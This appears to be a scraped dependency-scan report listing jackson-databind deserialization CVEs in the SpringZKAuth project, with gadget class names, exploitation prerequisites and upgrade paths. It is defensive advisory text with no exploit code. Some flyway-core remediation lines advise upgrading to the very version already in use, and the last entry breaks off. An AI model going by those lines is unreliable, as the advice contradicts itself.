- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.5 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It is possible to conduct a Deserialization attack using any of the following class gadget available within weblogic/oracle-aqjms if polymorphic type handling is enabled and an application using this package allows user input which gets deserialized.
- oracle.jms.AQjmsQueueConnectionFactory
- oracle.jms.AQjmsXATopicConnectionFactory
- oracle.jms.AQjmsTopicConnectionFactory
- oracle.jms.AQjmsXAQueueConnectionFactory
- oracle.jms.AQjmsXAConnectionFactory
Note: This vulnerability does not affect release 2.10.0 onward.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.5 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. SubTypeValidator.java mishandles default typing when ehcache is used, leading to remote code execution.
NOTE: This vulnerability has also been identified as: CVE-2019-14379
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.9.2, 2.8.11.4, 2.7.9.6 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPDataSource (aka Anteros-DBCP).
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.
Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.
An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.
Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.6 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.8.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attack, if the user is handling untrusted content or using the Default Typing feature. an incomplete fix for the CVE-2017-7525 deserialization flaw.
Note: This vulnerability (CVE-2018-12022) is not identical to CVE-2018-12018,CVE-2018-12019, CVE-2018-14720, CVE-2018-14721, CVE-2018-14723 and CVE-2018-11307.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.4, 2.8.11.2, 2.9.6 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.8.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It may allow content exfiltration (remote access by sending contents over ftp) when untrusted content is deserialized with default typing enabled. This vulnerability is due to an incomplete fix for the CVE-2017-7525 deserialization flaw.
Note: This vulnerability (CVE-2018-11307) is not identical to CVE-2018-12018,CVE-2018-12019, CVE-2018-14720, CVE-2018-14721, CVE-2018-14722 and CVE-2018-14723.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.4, 2.8.11.2, 2.9.5 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.8.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attack, if the user is handling untrusted content or using the Default Typing feature. This vulnerability is due to an incomplete fix for the CVE-2017-7525 deserialization flaw.
Note: This vulnerability (CVE-2018-12023) is not identical to CVE-2018-12018, CVE-2018-12019, CVE-2018-14720, CVE-2018-14721, CVE-2018-14722 and CVE-2018-11307.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.4, 2.8.11.2, 2.9.6 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.0.1.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.2.3.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attacks via the slf4j-ext gadget due to an incomplete fix for the CVE-2017-7525 deserialization flaw.
Note: This vulnerability (CVE-2018-14718) is not identical to CVE-2018-12019, CVE-2018-14720, CVE-2018-14721, CVE-2018-14722,CVE-2018-12023 and CVE-2018-11307.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.7 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.0.1.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.2.3.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform an XML External Entity (XXE) Injection via the JDK classes due to an incomplete fix for the CVE-2017-7525 deserialization flaw.
Note: This vulnerability (CVE-2018-14720) is not identical to CVE-2018-12018, CVE-2018-14729, CVE-2018-14721, CVE-2018-14722,CVE-2018-12023 and CVE-2018-11307.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.7 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.0.1.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.2.3.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. An attacker could perform a Remote Code Execution attack via the blaze-ds-opt gadget due to an incomplete fix for the CVE-2017-7525 deserialization flaw.
Note: This vulnerability (CVE-2018-14719) is not identical to CVE-2018-12018, CVE-2018-14720, CVE-2018-14721, CVE-2018-14722,CVE-2018-12023 and CVE-2018-11307.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.3, 2.7.9.5, 2.8.11.3, 2.9.7 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.0.1.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.2.3.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
